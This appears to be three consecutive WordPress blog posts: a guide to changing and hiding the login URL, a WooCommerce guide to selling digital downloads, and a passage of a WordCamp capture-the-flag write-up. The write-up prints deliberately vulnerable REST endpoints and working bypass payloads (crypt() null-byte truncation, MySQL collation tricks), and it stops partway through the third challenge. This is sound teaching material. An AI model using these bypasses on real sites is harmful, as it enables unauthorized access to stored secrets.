When you install WordPress, it automatically sets up a login page for your website. That page lets you access the dashboard as an administrator. So, knowing your WordPress login URL is essential if you want to make any changes to your website.

The CMS (content management system) uses a standard login URL for most websites (unless your web host changes it), so usually this is pretty simple. But it is possible to change the WordPress login link and hide it so no one else can access the admin dashboard. If you lose that, things could get a bit trickier.

In this article, we’ll talk about how to find, change, and hide the WordPress login URL.

Why the WordPress login page is important

You can’t make any changes to your WordPress website without accessing the dashboard. To get to the dashboard, you need to go through the WordPress login process by entering your username or email address and password.

By default, WordPress doesn’t hide the login page. Any user can find it provided they know how WordPress structures login URLs. Still, visitors shouldn’t be able to get past the login page unless they have a set of credentials.

When you launch a new WordPress website, the CMS automatically sets up an administrator account for you. The “administrator” user role is the only one with full permissions for every tool and setting within the dashboard. That means if someone else gets their hands on your admin account credentials, they also get complete access to your site.

With WordPress, you can set up multiple types of accounts for other users. As long as those accounts have secure credentials, unauthorized access shouldn’t be a big issue. Still, one thing you can do to secure your website against attacks is to hide the WordPress admin URL.

How to find your WordPress login URL

Finding the WordPress login URL should be a relatively straightforward process. By default, the CMS uses a standard admin link structure for its installations. 

But some web hosts automatically change WordPress login URLs for increased security. Let’s explore how to find the URL in both cases.

What is the default WordPress login URL?

WordPress uses a standard login URL for installations unless you modify code. That link should look something like this:

yourwebsite.com/wp-login.php

Appending the /wp-login.php suffix to your domain should lead you straight to the WordPress login page. The same basic structure applies if you’re using subdomains or subdirectories like these:

shop.yourwebsite.com/wp-login.php

yourwebsite.com/shop/wp-login.php

That’s not the only way to access the login page, though. WordPress will reroute you to the login page if you try to jump directly into the dashboard and you’re not logged in. 

By default, you can find the WordPress admin login at:

yourwebsite.com/wp-admin

If none of those URLs work, you may be dealing with a web host that uses custom WordPress login and admin addresses. Some web hosts utilize this setup to make it harder for attackers to access your site.

How to find a custom WordPress login URL

As you might already know, some web hosts can automatically set up WordPress for you. These WordPress hosting providers may also automatically change the default login URL structure. If that happens, they’ll probably include a link to the login page in an email or within your hosting control panel.

Depending on the web host, you might also be able to bypass the WordPress login process altogether. Some hosting control panels include one-click access links to the WordPress admin dashboard.

If your web host doesn’t offer that option, you may need to locate the login URL manually. The easiest way to do this is by connecting to your website via File Transfer Protocol (FTP). Then, you can open the WordPress core file that specifies the login link.

You’ll need a set of FTP credentials and a client like FileZilla to connect to the server. If you’re not sure about your FTP credentials, you should be able to find them through your web host.

Once you connect to the server via FTP, navigate to the WordPress root folder. It should have a name like public, public_html, www, or your site’s name. 

Inside, you’ll find a file called wp-login.php.

Open the file using a text editor and be careful not to edit any code. Use the text editor’s search tool to look for a string that reads site_url. That should lead you to a line of code that specifies your site’s custom login URL.

In the example above, the custom login address is login-page.php. If you take that address and add it to your domain, you’ll have a URL that looks like this:

yourwebsite.com/login-page.php

You can use the wp-login.php file to change the login URL for your website manually. We’ll show you how to do that further on. For now, remember to bookmark the WordPress login page in case you forget its URL.

How to access the WordPress login page from the front end

If you want to streamline access to the login page for you and other users, you can link to it from any other page on your website. 

If you’re using the Block Editor, you can add the Log in/out block to any page that you want.

The Log in/out block adds a simple link that you can use to either log in or out of your site. One downside of this approach is that you may leave your site more vulnerable to attackers who want to force their way through the login page.

As long as you practice good security measures like enforcing strong passwords and Two-Factor Authentication (2FA), there shouldn’t be a problem linking to the login page. The decision is up to you, though.

How to change the default WordPress login URL 

For this tutorial, we’ll show you how to change the WordPress admin login URL using two methods: manual and with a plugin. We’re going to start with the plugin approach, which is the recommended option in most cases.

1. Use a plugin to change the default WordPress login URL

The easiest way to change the WordPress login URL is by using a plugin. Several tools can handle the job, but we’ll be working with WPS Hide Login in this tutorial.

The plugin can help you hide the WordPress login and the /wp-admin URL. It does that by changing the WordPress login URL. It also re-routes any attempt to access the login and admin pages through their default addresses.

To change the login URL, activate the plugin and go to Settings → WPS Hide Login. You can also find the plugin settings at the bottom of the Settings → General configuration page.

In this section, you’ll find a field to enter a new WordPress login URL. You can also configure which page should load if another user attempts to access the default admin or login addresses.

Click on Save Changes, and you’re good to go. If you try accessing the default WordPress login address, it should redirect you to the page that you just set up. To log in again, you’ll need to use the new URL, so make sure to save it.

2. Change the default WordPress login URL manually

We recommend using a plugin for changing the WordPress login URL because it’s both easier and safer. When you edit the WordPress login page manually, you risk breaking a core feature within your website, since you’re dealing with several vital files.

Another downside of changing the login URL manually is that the process can revert when updating WordPress. The only way to avoid that is by creating a new login page altogether and using a child theme.

If you decide to proceed manually, changing the login URL involves editing a copy of the wp-login.php file. 

Connect to your website via FTP and navigate to the WordPress root directory to locate that file. Find the wp-login.php file and download a copy of it to your computer.

First, open the local copy of wp-login.php using a text editor. Preferably, you’ll want to use a text editor that includes a “search and replace” tool. That feature can change all of the existing WordPress login URL instances within the file (and there are a lot of them!).

Use the search tool to find every instance of the wp-login.php string and change it to the name you want to use for the new login page. 

For example, you can replace that string with “access.php”:

This process aims to preserve the structure and functionality of the WordPress login page while changing its URL. After replacing every instance of wp-login.php, save the edits to the file and close it. 

Now rename that file after the new URL that you chose. In our case, the file would be called access.php.

Go ahead and upload that file to the WordPress root directory. Both the wp-login.php and the new login page file should now be there.

Next, head to wp-content/themes and find the folder for the child theme you’re using. It’s important to reiterate that you need to use a child theme unless you want your customizations to disappear when the theme updates.

Open the child theme folder and look for the functions.php file inside. Go ahead and open it.

Add the following WordPress “hook” inside of it, before the line that reads // END ENQUEUE PARENT ACTION:

add_filter( ‘login_url’, ‘custom_login_url’, PHP_INT_MAX );
function custom_login_url( $login_url ) {
$login_url = site_url( ‘access.php’, ‘login’ );
    return $login_url;
}

Replace the access.php string with the name of your new WordPress login file. That code tells WordPress to use a specific file for its login page as long as it contains a standard login form.

Save the changes to functions.php and try accessing the custom login URL you just set up. It should work exactly like the original wp-login.php file. Additionally, if you use a Log in/out block within the Block Editor, it’ll now point to that new page.

At this stage, you can return to the WordPress root directory and delete the original wp-login.php file. If you change themes at some point, remember that you’ll need to add that hook to the new theme’s functions.php file for the custom login page to work.

What to do if your custom WordPress login URL isn’t working

If you try to access your custom login URL and it doesn’t work, there are several possible causes. Let’s go through the most common ones. 

1. What to do if you changed the WordPress login URL with a plugin

If you configured a custom login URL using a plugin, the new address shouldn’t stop working unless you disable the plugin. 

WPS Hide Login, for example, reverts your login address to its original URL if you deactivate the plugin. In that case, you should be able to access the dashboard using the default login link.

If the plugin is active, you might be dealing with a compatibility issue with WordPress or another plugin. In that scenario, your best bet might be to temporarily disable the plugin so that you can access the WordPress admin dashboard and continue to update your site. 

To disable a plugin without access to the admin dashboard, you’ll need to use FTP. Connect to your website via FTP and navigate to wp-content/plugins. 

Identify the folder that corresponds to the plugin that changed the login URL (it should have a similar name) and either rename or delete it.

Deleting the plugin folder will uninstall it, whereas renaming it will temporarily disable it. In either case, disabling the plugin should fix the compatibility issue. Your WordPress login page will revert to the original URL, and you’ll be able to access the admin dashboard.

2. What to do if you changed the WordPress login URL manually

There are several reasons why a custom login URL can stop working if you changed the address manually. Editing the WordPress login address usually involves the following steps:

1. Creating a new login page to replace wp-login.php
2. Modifying your active theme’s functions.php file to recognize the new login page

In some cases, updating WordPress might delete the new login page you added to the root directory. Alternatively, if you’re not using a child theme and you update the active theme, that will override any changes that you made to its functions.php file.

Before anything else, try accessing the default WordPress login address. If it works, you’ll need to change the address manually once more. You can do that by following the instructions in the earlier part of this troubleshooting guide. 

3. What to do if your web host changed your WordPress login URL

If you’re using a web host that provides you with a custom WordPress login URL out of the box, it shouldn’t stop working suddenly. If it does happen, we recommend checking your site’s database or wp-login.php file to see if the custom URL changed.

In some cases, the custom login URL might stop working due to problems on your hosting provider’s end. If that happens, your only option will be to reach out to their support team so that they can help you troubleshoot the issue.

How to level up and secure your WordPress login page

Changing the login URL is a great first step to protecting your WordPress website. But even with a custom link, your login page can still be vulnerable to attackers.

It’s not uncommon for attackers to find login credentials from leaks. Other malicious actors might also try to brute force their way through the login page. 

If you want to reduce the chances of the wrong people getting access to your WordPress dashboard, here are some measures that you can take:

• Use a 2FA plugin. Enabling this kind of security plugin makes it much more difficult for attackers to break in because it requires users to be in possession of a specific physical device in addition to the correct login credentials. 
• Whitelist IP addresses. You can use the .htaccess file to whitelist the IP addresses that should have access to the WordPress dashboard. Any IP that’s not on the whitelist won’t be able to log in.
• Implement a CAPTCHA. Using a simple CAPTCHA can be a great way to protect the login page against bots and brute force attacks.
• Limit the number of potential login attempts. Limiting how many login attempts someone can make in a specific period is a fantastic way to dissuade attackers from trying to guess credentials.
• Enforce the use of strong passwords. Unfortunately, many people reuse passwords or utilize weak credentials. Enforcing strong passwords might annoy some users, but it can help protect your website against attackers.

Simply changing the WordPress login URL makes it more difficult for hackers to break into your website. To get through the login page, they’ll need to find it first. As long as the new address isn’t obvious, you should be safe.

It’s in your best interest to protect your login page as much as possible. That rule applies particularly if you run a site that stores any kind of sensitive user data.

Jetpack has many great WordPress security tools, including a powerful one that helps defend against brute force attacks. It also includes tools that help you whitelist IP addresses and block spam comments.

Frequently asked questions about the WordPress login page

If you still have any questions about WordPress login pages and their URLs, this section will answer them. 

Why is my WordPress login not working?

If you can access the WordPress login page but can’t enter the dashboard, there’s probably an issue with your credentials. WordPress enables you to recover lost passwords if you have access to the email address associated with the account.

If the login page itself isn’t working and you’re using a custom URL, there might be a problem with its implementation. We have instructions on what to do if you changed the login URL with a plugin or manually, so you can check them out above!

What should I change the WordPress login URL to?

You can change the WordPress login URL to any address that you want. If you value ease of use, you might prefer to change the address to something easy to remember for you and other users.

Alternatively, you can choose a unique WordPress login address that other people won’t be able to guess. You can easily bookmark the login page and share the link with your trusted team members. This approach can be wise from a security standpoint.

Protect your WordPress login page from attacks

One of the best parts of using WordPress is that you can manage every aspect of your website from the dashboard. Still, you need to go through the WordPress login page first. If you use the default login URL, anyone can find the page and try to break through. Changing the WordPress login URL is a simple way to protect against intrusions.

The best way to change the WordPress login URL is by using a plugin like WPS Hide Login. You can also adjust the login link manually. But this process requires you to edit WordPress core files, so we don’t recommend it.

Creating a custom WordPress login page is just one option for website security. The Jetpack plugin can also help by backing up your site’s files, running security checks, and protecting against spam. Check out Jetpack’s security features for more information!

Selling digital products is an excellent opportunity for store owners, bloggers, and other content creators alike. 

Digital downloads — like eBooks, music files, images, sewing patterns, and fonts — work well as standalone purchases, or as add-ons to physical products or services. For example, if you sell music courses online, you might also sell digital sheet music. Or if you crochet baby toys, you could sell downloadable patterns for those who also enjoy crafting.

The best part is that they help you generate revenue without having to worry about things like inventory, shipping, and storage. Once you set up your digital products, there’s very little maintenance involved.

And if you already have a WordPress site, getting started is simple and straightforward. Let’s take a look at how to sell digital downloads with WooCommerce, along with some best WordPress security practices.

How to sell digital products on WordPress

While WordPress includes a lot of powerful functionality by default, you’ll need a plugin to sell products on your site. Plugins are free or premium tools that you install to provide extra functionality.

There are several different plugins that you can use to sell digital downloads with WordPress. However, below are some reasons that WooCommerce is the best, most effective and efficient choice.

What makes WooCommerce the best plugin for digital product sales?

1. It was built for WordPress and is supported by the WordPress team

WooCommerce was designed for WordPress and is supported by Automattic, the team behind WordPress.com and Jetpack. Why is this critical? If an eCommerce tool wasn’t built for WordPress specifically, you might encounter compatibility issues. In many cases, setup will be more difficult and it may not match the rest of your site perfectly. This could create a jarring experience for your customers and visitors.

In contrast, WooCommerce works seamlessly with WordPress, along with all major themes and plugins. It’s regularly updated to ensure compatibility, will blend beautifully into your site’s design, and has settings that are managed directly through the same WordPress dashboard that you’re already familiar with.

Another bonus is that WooCommerce support knows WordPress like the back of their hands. This means that they can troubleshoot any problems that you run into much more effectively than support offered by third-party solutions.

2. It’s free to use

WooCommerce core, along with the basic functionality you need to sell digital downloads, is completely free. While there are premium extensions available that cover everything from marketing and conversions to payments and merchandising, many stores won’t need to pay anything at all to sell online.

3. It offers endless flexibility

You can create absolutely anything you want with WooCommerce — the only limit is your imagination! There’s a large library of extensions designed to add functionality to your store without requiring a developer.

Want to offer multiple currencies? Sell memberships to a digital content library? Send abandoned cart emails? There’s an extension that will make this possible.

You can also sell your digital downloads alongside physical products, online courses, services, membership programs, and more. Everything’s under one roof, which provides a better experience for your customers and your team — especially if that team’s just you.

4.  It’s easy to scale

WooCommerce provides all the functionality you need to grow as large as you want. There are absolutely no limits on the number of products, sales, or variations, so whether you make ten sales a week or 10,000, WooCommerce has you covered. Learn more about how to scale with WooCommerce.

How to sell digital products with WooCommerce

Now that you know why WooCommerce is the best tool for digital eCommerce, let’s take a look at how you can sell downloads on your website. We’ll also answer a few common questions.

What are the differences between virtual and downloadable product types on WooCommerce?

WooCommerce is a powerful eCommerce tool which lets you sell everything from physical and digital products to tickets, courses, memberships, and subscriptions. Here are the most common product types you can choose from:

• Simple products. Basic, physical products that don’t require customers to select from a set of options. E.G. a hardcover book.
• Variable products. Physical products that have options for customers to choose from. E.G. a t-shirt with size and color choices.
• Downloadable products. Digital products with downloadable files. E.G. eBooks, graphic templates, or MP3s.
• Virtual products. Digital products that don’t necessarily require file delivery. E.G. a service or insurance policy.
• External or affiliate products. Products that are listed on your site but sold elsewhere. E.G. a product available as part of the Amazon Affiliate program.
• Subscription products. Physical or digital products that are paid for on a recurring basis. E.G. a subscription box or maintenance service. This requires an extension called WooCommerce Subscriptions. 
• Membership products. Members-only products or content libraries. E.G. membership to a library of workout videos. This requires an extension called WooCommerce Memberships. 
• Bookable products. Items that require appointments or reservations. E.G. a jet ski rental or online consultation. This requires an extension called WooCommerce Bookings.

As we mentioned earlier, you can sell any combination of these product types side-by-side in the same store. So, for example, you could sell online cooking courses, physical cookbooks, and eBooks of recipes all in the same place.

So what is the difference between virtual and downloadable products? And which is the right product type for you?

Virtual products aren’t physical and, therefore, aren’t shipped. But they also don’t necessarily require the customer to download anything. They’re the right fit for things like:

• Services, like accounting, graphic design, and lawncare
• Access to online libraries of recipes, files, or videos
• Access to online forums or Facebook groups
• Coaching packages

Downloadable products are technically types of virtual products, but they send a download to the customer after their purchase. This is the right fit for anything that involves sending files, including:

• eBooks and other types of PDFs
• Graphic templates, such as .PSD, .AI, and .EPS files
• Font files
• Software and license keys
• Craft templates, like sewing patterns
• Music and audio files
• Stock photos
• Printable artwork

One Stop Map sells vector maps, which customers can download to either print or edit. Their products are both virtual products and digital downloads. 

ShadowTrader sells one-hour financial consultations, among other things, which are conducted via Skype with clients. Those consultations are virtual products, but not digital downloads because there are no files delivered.

How to add digital products to WordPress using WooCommerce

If you already use WordPress, then getting started with WooCommerce should be a pretty seamless transition — it uses the same dashboard you’re already familiar with. Here’s how to get started:

1. Install and activate WooCommerce

In your WordPress dashboard, navigate to Plugins → Add New. Search for “WooCommerce” and click Install → Activate. A setup wizard will appear that will walk you through all the first steps of building your online store.

2. Choose a payment gateway

A payment gateway allows you to securely collect money from your customers and transfer those payments to your bank account. WooCommerce integrates with a variety of payment gateways — you may be familiar with PayPal and Stripe — and the right fit for you will depend on your specific needs. Here are some qualities to look for:

• Fees that fit your budget. Payment gateways typically take a percentage of each sale (generally around 2.9%) but some also charge flat fees on top of that. Learn what each payment gateway charges and see if that works for your business.
• An easy checkout process. The simpler it is for customers to check out, the more likely they are to actually complete the purchase. Some payment gateways direct shoppers to a third-party site for payment, while others keep them on yours. 
• Multi-currency acceptance (if you’re an international store). This won’t apply to everyone, but if you want to sell globally, you may need the ability to accept multiple currencies.
• Recurring payment acceptance (if needed). If you want to sell subscriptions to your digital products, you’ll need a payment gateway that allows for automatic, recurring payments.

WooCommerce Payments is an excellent option. It checks all of the boxes above and ensures a seamless checkout experience for customers, reducing potential abandoned carts. It can integrate with tools like Apple Pay for one-click purchases. And the best part is that it allows you to manage everything from payments to refunds directly in the WordPress dashboard.

For more tips, read this guide to choosing a payment gateway.

3. Create your product pages

Now it’s time to create your digital products in WooCommerce! To do this, go to Products → Add New. The first thing you’ll see is a Product name field — this is where you’ll add a title for your product.

Keep scrolling down to find the Product Data box and click the dropdown to see a list of product types. If your digital download has options, you’ll want to select Variable Product. If not, select Simple Product. Then, make sure to check the boxes next to both Virtual and Downloadable.

In the Regular price box, add a price for your product. You can also add a Sales price below, if you ever host a sale on your website.

Below that, you’ll see a section for Downloadable files. Here, you can add one or more downloads. For each one, you’ll set the File name and File URL. For the URL, you can either upload a file directly to the media library or use external file management tools like Google Drive or Dropbox. You can learn all the details from the WooCommerce guide to digital product handling. 

In the Product Data box, there are also settings for inventory levels, SKU numbers, related items, and more. 

Now, keep scrolling down to the Product short description box, where you’ll add a description for your product. Think through what information customers will find the most helpful in convincing them to buy. But keep things concise — this info shows up right beside your product photo, so you don’t have a ton of room. Save extra details for the large text box right underneath the Product name field.

There are just a couple of steps left to publish your product and the first is to add images. Even though your items are digital, you’ll still want to give people an idea of what they’re getting. For eBooks, consider making a mockup book cover, or including previews of pages. For sewing or craft templates, show photos of the finished products. For music files, add cover art. 

To include photos, look in the right-hand column for the Set product image link. This will allow you to upload the primary, featured image that will show up first for your item. You can also add secondary gallery images by clicking Add product gallery images.

Finally, you can choose a category for your product, if you have several that you’d like to group. All you need to do is add a category in the Product categories box in the right-hand column.

Now, just publish your product, and you’re live!

To learn even more about adding products, along with setting up the cart and checkout pages, read the full WooCommerce documentation. 

How to add download limits and expiry dates to WooCommerce downloadable content

Your product download limit is the number of times customers can download the file they purchased. A higher download limit may make things easier for shoppers. But if you’re having issues with people sharing your downloads with friends and family members who didn’t pay for them, you may want to lower this number.

The expiry date is the number of days customers have to download their product before the links expire. Again, a higher number may provide a better experience, but a lower number is more secure.

To set these for your product, go to Products in your WordPress dashboard, and open the one you want to edit. In the Product data box, you’ll see fields for both the Download limit and Download expiry. Note that you can leave the download limit blank to allow for unlimited downloads. Once you’ve made those changes, simply save the product.

What are the different download methods for digital products on WooCommerce? 

Once a customer purchases your digital products, how do they access the files? There are a few different options you can choose from:

1. Force downloads. With this setting turned on, WooCommerce uses PHP to force file downloads and hides the file URL. This means that customers can’t directly link to your digital products and allow people who haven’t purchased to download them. However, it’s important to note that if you have very large files or a lower-quality server, this could cause timeouts during the download process.
2. X-Accel-Redirect/X-Sendfile. This turns the download process over to your hosting provider, ultimately resulting in the best-performing and most reliable method. However, it does require that your host have the X-Accel-Redirect/X-Sendfile module enabled. If you’re not sure whether or not it’s turned on for your site, reach out to your provider.
3. Redirect only. This method means that, when customers download your products, the link redirects to the file. Turning this on doesn’t secure your files and means that people can download them even if they’re not logged into their account.

There are pros and cons of each of the methods. Consider your unique website, hosting plan, and customer base when choosing one. Ideally, you’ll want a balance of user friendliness and security.

There are also a couple of other settings that apply to the download process:

• Allow using redirect mode (insecure) as a last resort. You may want to turn this on if you’re using either of the first two download methods. When enabled, the Redirect method will be used if there’s a problem with the primary method, like a server timeout. While this does make things a bit less secure, it only kicks in if there’s an issue and ultimately provides a better user experience. It can keep you from having to deal with frustrated customers who may not return to make another purchase.
• Downloads require login. This means that customers have to log in to download their purchases, which provides more security. 
• Grant access to downloadable products after payment. This gives file access to customers when orders are Processing, instead of waiting until they’re Completed. 
• Append a unique string to filename for security. This is checked by default, and adds extra characters to the end of each file to make them unique for individual customers. 

You can access all of these settings by going to WooCommerce → Settings → Products → Downloadable Products. Learn more about each one in the WooCommerce documentation. 

How to analyze your digital product sales data on WordPress

Now that your store is up and running, it’s important that you keep an eye on sales data so you can find opportunities for improvement and ultimately increase your sales. WooCommerce provides a lot of great information by default, which you can find by navigating to Analytics in your WordPress dashboard.

In the Overview section, you can see basic information like total sales, net sales, views, and products sold. You can also filter this data based on date ranges. To get even more granular, click on the options under Analytics to view specific data on products, variations, coupons, stock, and more.

For example, the Categories section will show information based on each of the categories in your store. So if you sell sheet music, you can find out exactly how many pieces of piano music were sold in a given time frame, compared to guitar music. 

In the Downloads section, you can view data about the sales of your digital products specifically. Learn more about WooCommerce Analytics.

If you want to track even more, like which of your advertising campaigns are leading to the most sales, you’ll also want to set up Google Analytics. This will open up a wealth of information that can help you make important decisions about marketing strategies, design choices, and merchandising. And Jetpack makes it super easy to install Google Analytics tracking tags, though you can also do this manually. 

The importance of website security for sites selling digital products

Security is absolutely imperative for any website, but even more so for eCommerce stores. Why? Because online stores also handle sensitive customer information like addresses.

A lot of protecting your digital products goes back to some of the things we’ve already discussed. Make sure that you choose a high-quality payment gateway that secures customer payment information. And choose to force downloads and append unique strings to your file URLs, if at all possible.

However, there are some additional considerations here. If a hacker gets into your website, they can replace your digital products with malicious software or redirect them to dangerous URLs. This can put your customers at risk and ultimately damage your reputation. Here are a few steps you can take to protect your website against hackers:

• Block brute force attacks. These types of attacks occur when hackers use bots to guess your username and password — thousands of combinations per minute! Implementing a tool specifically designed to block brute force attacks is your best security measure here.
• Automatically scan for malware. If a hacker manages to get into your website and add malware, you want to know about it as quickly as possible. A WordPress malware scanning tool lets you know the second malware is found, allowing you to get ahead of things, before they impact your customers. 
• Keep an activity log. A WordPress activity log lets you track every action that takes place on your site, along with who performed each one and when it occurred. This enables you to identify suspicious behavior that could potentially harm your website.
• Find out the second your site goes down. A down website is one potential indication of a hack, or even a malicious actor trying to access your site. Set up a tool with downtime alerts so you can troubleshoot and restore it right away. This means fewer lost sales!
• Prevent spammy comments and reviews. Spammers can plague your reviews and comments with unrelated or dangerous messages, putting your customers at risk. A WordPress anti-spam tool can flag anything that looks suspicious, keeping it off your website. 
• Secure your login page. Your login page is the access portal to your store, so you want it to be as secure as possible. One way to do this is by enabling two-factor authentication for all administrative users. Each time you log in, you’ll get a unique code sent to your device that you’ll need to enter to access the dashboard. Because it’s incredibly unlikely that a hacker would have your phone in hand, this is a very effective measure.
• Regularly update WordPress, plugins, and themes. Updating all of your software to its latest version helps secure potential bugs and vulnerabilities that hackers could take advantage of. Stay on top of regular updates and, to make things easier, consider turning on auto-updates. 

It’s also important that you always have backups available that you can restore in case anything does go wrong. This can save you a lot of time and hassle by returning your site to its previous state with just a few clicks. Jetpack Backup is the best backup plugin for WooCommerce stores because it saves copies of your site in real-time — every time you add a product, update inventory, or make a sale. Plus, it stores your backups on secure servers completely separate from your site, which you can restore even if your website is completely down.

You can access all of these valuable security features in one easy-to-use package with the Jetpack Security plan for WordPress.

Want more information? Learn about WordPress security basics and all the steps you can take to secure your WooCommerce store.

During WordCamp Europe 2022, we ran a WordPress Capture The Flag (CTF) competition across four challenges.

We wanted to introduce folks to the addictive world of CTF, and let people experience how security researchers approach bug hunting, such as looking for oddities in the code and combining them to do weird, sometimes counterintuitive things.

Challenge #1 – Are You Lucky?

Challenge #2 – Blocklist Bypass?

Challenge #3 – License to Capture the Flag

Challenge #4 – License to CTF: Part 2

Challenge #1 – Are You Lucky? (250 points)

Relevant Code Snippets

 register_rest_route( 'hackismet', '/am-i-lucky', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_am_i_lucky',
     'permission_callback' => '__return_true',
 ]);

 function hackismet_am_i_lucky( $request ) {
     $flag = get_option( 'secret_hackismet_flag_2' );
     if( hash_equals( crypt( $request['payload'] . $flag . random_bytes(32), '$1$sup3r_s3kr3t_s4lt' ), $request['hash'] ) ) {
        return rest_ensure_response( $flag );
     }
     return rest_ensure_response(false);
 }

How Could It Be Solved?

This challenge presented a REST API endpoint that could be accessed via the /wp-json/hackismet/am-i-lucky route. It was designed to receive a payload and hash request parameter, concatenate request['payload'] to the flag and a string of 32 cryptographically secure random bytes, and compare the resulting hash with request['hash'].

Upon reading the crypt() function’s documentation, one could find that this function is not binary safe (yet!), meaning a null byte (%00) could be used to truncate the string-to-be-hashed right before the flag and 32 random bytes. This is because the current implementation of that function in PHP is basically just an alias of the underlying C function of the same name, and C strings terminate with null bytes.

To get your flag, all that you had to do was calculate a hash with the message you control and the cryptographic salt used in the plugin’s code, use the resulting hash in the “hash” parameter, and put your message in the “payload” parameter, concatenated with a null byte (%00). 

Here’s what a successful exploit looked like:

/wp-json/hackismet/am-i-lucky?payload=lel%00&hash=$1$sup3r_s3$sThhFzCqsprSVMNFOAm5Q/

Challenge #2 – Blocklist Bypass? (250 points)

Relevant Code Snippets

 register_rest_route( 'hackismet', '/get-option/(?P<option_key>\w+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_get_option',
     'permission_callback' => 'hackismet_validate_option',
 ]);

 function hackismet_validate_option( $request ) {
     $option_key = trim( strtolower( $request['option_key'] ) );
     if( empty( $option_key ) ) {
        return false;
     }
 
     if( ! preg_match( '/^hackismet_/i', $option_key) ) {
        return false;
     }
 
     if( $option_key == 'hackismet_flag_1' ) {
        return false;
     }
     return true;
 }

 function hackismet_get_option( $request ) {
    $option_key = trim( strtolower( $request['option_key'] ) );
    return rest_ensure_response( get_option( $option_key ) );
 }

How Could It Be Solved?

This challenge presented a REST API endpoint that could be accessed via /wp-json/hackismet/get-option/option_key_you_want. 

The goal was pretty simple: try to leak the “hackismet_flag_1” option.

Unfortunately, the permission callback for that endpoint also did a few things to prevent you from simply grabbing any options on the site:

• It validated that the option key started with “hackismet_”.
• It also ensured that whatever option you intended to retrieve wasn’t hackismet_flag_1, where the flag was located.
• To make things appear more difficult, the API route limited which characters could make it in the option_key route parameter, only allowing strings matching the \w+ regex.

The “hackismet_validate_option” callback function also used the “strtolower” and “trim” functions in an attempt to normalize the “option_key” parameter. This was to thwart attempts at using well-documented behaviors from MySQL’s  “utf8mb4_unicode_ci” collation, like the fact that string comparisons aren’t case-sensitive, and that it doesn’t care about trailing spaces in VARCHAR columns either.

Other Collation Tricks

To solve this challenge, one had to find other peculiarities in the way “utf8mb4_unicode_ci” does string searches to bypass the checks in place, and there were at least two ways of doing so.

Accent Sensitiveness

As mentioned in the official MySQL documentation:

For nonbinary collation names that do not specify accent sensitivity, it is determined by case sensitivity.

Put shortly: accent sensitivity is a thing. WordPress’ default collation uses the “_ci” component (for “Case-Insensitive”), which means the collation is also Accent-Insensitive.

Thus, passing “hackismet_flàg_1” would bypass the checks in hackismet_validate_option.

Ignorable Weights

The Unicode Collation Algorithm, which is used by MySQL’s utf8mb4_unicode_ci collation to compare and sort Unicode strings describes the concept of “ignorable weights” as the following:

Ignorable weights are passed over by the rules that construct sort keys from sequences of collation elements. Thus, their presence in collation elements does not impact the comparison of strings using the resulting sort keys. The judicious assignment of ignorable weights in collation elements is an important concept for the UCA.

Put shortly, the algorithm calculates a weight for each collation element (characters), and some of them are defined as having a default weight of zero, which effectively makes the algorithm ignore them when doing string comparisons.

There were multiple ways of (ab)using that behavior to beat the challenge, including:

• Adding null bytes somewhere inside the string (e.g. hackismet_fl%00ag_1)
• Inserting invalid UTF-8 sequences inside the string (e.g. hackismet_fl%c2%80ag_1)

You can find a lot of other combinations in MySQL’s implementation of the UCA.

Bypassing The “option_key” Parameter Character Restriction

The “option_key” route variable was defined to not let anything other than \w+ pass. That was a problem. PHP treats every string as a series of bytes instead of unicode characters like MySQL does, so sending a request to “/wp-json/hackismet/get-option/hackismet_flàg_1”  or “/wp-json/hackismet/get-option/hackismet_fla%00g_1” wouldn’t work.

To bypass that, WordPress’ official documentation about writing REST API endpoints helped a bit, specifically the line where it says:

By default, routes receive all arguments passed in from the request. These are merged into a single set of parameters, then added to the Request object, which is passed in as the first parameter to your endpoint

What that means in practice is that upon visiting /wp-json/hackismet/get-option/test?option_key=hackismet_fla%00g_1, the option_key parameter would contain “hackismet_fla%00g_1”, and not “test”, which would also force the plugin to give you the flag.

Challenge #3 – License to Capture the Flag (500 points)

Relevant Code Snippets

 register_rest_route( 'hackismet', '/generate-license/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_generate_license',
     'permission_callback' => '__return_true',
     'args' => [
         'session_id' => [
            'required' => true,
            'type' => 'string',
            'validate_callback' => 'wp_is_uuid'
         ]
     ]
 ]);

 register_rest_route( 'hackismet', '/access-flag-3/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_access_flag_3',
     'permission_callback' => 'hackismet_validate_license',
     'args' => [
         'session_id' => [
            'required' => true,
            'type' => 'string',
            'validate_callback' => 'wp_is_uuid'
         ]
     ]
 ]);

 register_rest_route( 'hackismet', '/delete-license/(?P<session_id>[0-9a-f\-]+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_delete_license',
     'permission_callback' => '__return_true',
     'args' => [
         'session_id' => [
            'required' => true,
            'type' => 'string',
            'validate_callback' => 'wp_is_uuid'
         ]
     ]
 ]);

 function hackismet_generate_license( $request ) {
     // 128 bits of entropy should be enough to prevent bruteforce.
     $license_key = bin2hex( random_bytes(40) );
     // Here for added security
     for($i = $request['rounds']; $i > 0; $i--) {
         $license_key = str_rot13($license_key);
     }
     // Reset it.
     update_option( 'secret_hackismet_license_key_' . $request['session_id'], bin2hex( random_bytes( 64 ) ) );
     return rest_ensure_response('License successfully generated!');
 }

 function hackismet_delete_license( $request ) {
     // Remove existing key.
     delete_option('secret_hackismet_license_key_' . $request['session_id']);
     return rest_ensure_response('License successfully deleted!');
 }

 function hackismet_validate_license( $request ) {
    // Ensure a key has been set
    if( ! get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
        return new WP_Error('no_license', 'No license exists for this session_id!');
    }
    $license_key = $request['key'];
     // Here for added security
     for($i = $request['rounds']; $i > 0; $i--) {
         $license_key = str_rot13($license_key);
     }
    if( $license_key == get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
        return true;
    }
    return false;
 }

 function hackismet_access_flag_3( $request ) {
     return rest_ensure_response( get_option( 'secret_hackismet_flag_3' ) );
 }

How Could It Be Solved?

The idea behind this challenge was to simulate a (very) broken license management and validation system.

While this challenge was meant to let participants exploit a pretty esoteric race condition vulnerability, a subtle oversight from the challenge designer made it solvable using a non-intended, less exotic solution.

